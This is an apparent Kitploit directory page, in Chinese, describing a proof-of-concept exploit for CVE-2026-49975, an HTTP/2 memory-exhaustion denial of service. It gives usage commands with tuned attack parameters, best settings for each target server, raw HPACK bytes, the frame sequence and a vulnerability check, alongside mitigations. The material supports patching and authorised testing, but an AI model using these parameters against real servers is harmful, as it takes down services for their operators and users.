Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2026-49975-POC — HTTP/2 炸弹 PoC — CVE-2026-49975(HPACK 索引引用炸弹 + 流控制停滞) | Kitploit
工具/GitHubGitHub/mrx-arafat/cve-2026-49975-poc
漏洞分析漏洞利用Web安全网络安全渗透测试
GitHubmrx-arafat/cve-2026-49975-poc

CVE-2026-49975-POC

HTTP/2 炸弹 PoC — CVE-2026-49975(HPACK 索引引用炸弹 + 流控制停滞)

查看仓库
29823个月前Kitploit 审核通过

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2026-49975 — HTTP/2 炸弹 PoC

CVE Severity Python

针对 CVE-2026-49975 的概念验证利用程序,这是一种影响 HTTP/2 服务器实现的远程拒绝服务漏洞。由 Quang Luong(Calif 安全研究)发现,于 2026 年 6 月 2 日公开披露。

仅供授权安全测试使用。切勿用于你不拥有或未经书面许可测试的基础设施。


工作原理

该攻击链式利用了两种 HTTP/2 协议机制:

1. HPACK 索引引用炸弹

HPACK(RFC 7541)允许发送者通过索引引用之前见过的标头——通常只需一个字节。该漏洞利用程序先将一个几乎为空的标头插入动态表一次,然后对其进行数千次引用。每次 1 字节的线缆引用会强制服务器为每个条目分配约 70 字节的内部管理开销。由于不涉及大值,因此“最大解码标头大小”限制永远不会触发。

2. HTTP/2 流量控制窗口停滞

通过通告零字节接收窗口,攻击者阻止服务器发送其响应或释放任何内存。周期性发送 1 字节的 WINDOW_UPDATE 帧会重置服务器的发送超时,使分配的内存只要连接保持打开状态就一直被占用。

结果: 每个流发送约 16 KB → 每个流分配并持有约 1.15 MB 服务器 RAM。


受影响的服务器

服务器放大倍率演示影响状态
Envoy 1.37.2约 5,700:1约 10 秒内 32 GB披露时无补丁
Apache httpd 2.4.67约 4,000:1约 18 秒内 32 GB已在 mod_http2 v2.0.41 中修复
nginx < 1.29.8约 70:1约 45 秒内 32 GB已在 nginx 1.29.8 中修复
Microsoft IIS (WS 2025)约 68:1约 45 秒内 64 GB披露时无补丁
Cloudflare Pingora约 68:1—披露时无补丁

使用方法

无依赖项——仅需标准库。

root@kitploit:~
# 基本测试(单连接)
python3 exploit-test.py target.com 443

# 针对 nginx 的管理开销炸弹(推荐用于 nginx 目标)
python3 exploit-test.py target.com 443 --mode nginx --threads 50 --streams 30 --headers 16374

# Apache/Envoy 的 cookie-crumb 技术
python3 exploit-test.py target.com 443 --mode classic --threads 20 --streams 30 --headers 5000

# HTTP/2 明文(很少见——大多数服务器需要 TLS 才能使用 h2)
python3 exploit-test.py target.com 80 --no-ssl

参数

RAM 压力估算

root@kitploit:~
total_streams = threads × streams
server_ram_mb = total_streams × headers × amplification_bytes / 1024²

# nginx 示例:50 × 30 × 16374 × 70 / 1024² = 约 1,647 MB

不同目标的最佳设置


检查目标是否易受攻击

root@kitploit:~
# 确认 HTTP/2 支持和服务器版本
curl -sv --http2 https://target.com/ 2>&1 | grep -E "ALPN|HTTP/2|server:"

# 如果以下条件成立则易受攻击:
# - ALPN: server accepted h2   (已启用 HTTP/2)
# - server: nginx/X.Y.Z        (其中 X.Y.Z < 1.29.8)

缓解措施

nginx — 升级到 1.29.8+ 并添加:

root@kitploit:~
http2 max_headers 1000;

或完全禁用 HTTP/2:

root@kitploit:~
# 从 listen 指令中移除 "http2"
listen 443 ssl;

Apache httpd — 将 mod_http2 升级到 v2.0.41+。临时措施:Protocols http/1.1

IIS / Envoy / Pingora — 编写本文时无可用补丁。禁用 HTTP/2 或在前面放置已打补丁的代理。

通用(所有服务器):

root@kitploit:~
# 限制工作内存以减小爆炸半径
ulimit -v 2097152   # 每个进程 2 GB
# Docker:--memory="2g" --memory-swap="2g"

技术细节

HPACK 编码

root@kitploit:~
动态表种子(增量索引,添加到索引 62):
  0x40 | name_len | name | value_len | value
  = 0x40 0x06 "x-bomb" 0x00

对条目 62 的索引引用(每个 1 字节):
  0x80 | 62 = 0xbe

每个流的线缆负载 = 9 字节(种子)+ N 字节(N 个引用)
每个引用的服务器分配 ≈ sizeof(ngx_table_elt_t) ≈ 70 字节

HTTP/2 帧序列

root@kitploit:~
客户端 → 服务器:
  PRI * HTTP/2.0\r\n\r\nSM\r\n\r\n     (前言)
  SETTINGS [INITIAL_WINDOW_SIZE=0]      (停滞设置)
  SETTINGS ACK                          (读取服务器 SETTINGS 后)
  HEADERS [stream 1]  ← 炸弹负载       (伪标头 + HPACK 炸弹)
  HEADERS [stream 3]  ← 炸弹负载
  ...
  WINDOW_UPDATE(1) per stream / 1s      (保持连接停滞)

文件

文件描述
exploit-test.py主 PoC——多流、持续重连、nginx 和 classic 模式
SECURITY-REPORT-MIST.md针对 mist.ac.bd 的授权评估报告
LICENSEMIT

参考

  • CVE-2026-49975
  • RFC 7541 §7.3 — HPACK 内存消耗
  • RFC 9113 §8.2.3 — Cookie 标头拆分
  • CVE-2016-6581 — 原始 HPACK 炸弹(Cory Benfield,2016)
  • CVE-2025-53020 — Apache HPACK 4000:1(Gal Bar Nahum,2025)
下载工具
标志默认值描述
target—主机名或 IP
port443TCP 端口
--threads1并行连接(每个关闭时重新连接)
--streams10每个连接的 HTTP/2 流数
--headers5000每个流的 HPACK 索引引用数
--modenginxnginx(管理开销,70:1)或 classic(大值,4000:1)
--no-ssl关闭禁用 TLS(h2c)
目标模式--headers备注
nginx < 1.29.8nginx16374保持在默认 http2_max_header_size 16k 之内
Apache httpdclassic5000Cookie-crumb 技术
Envoyclassic32000高放大倍率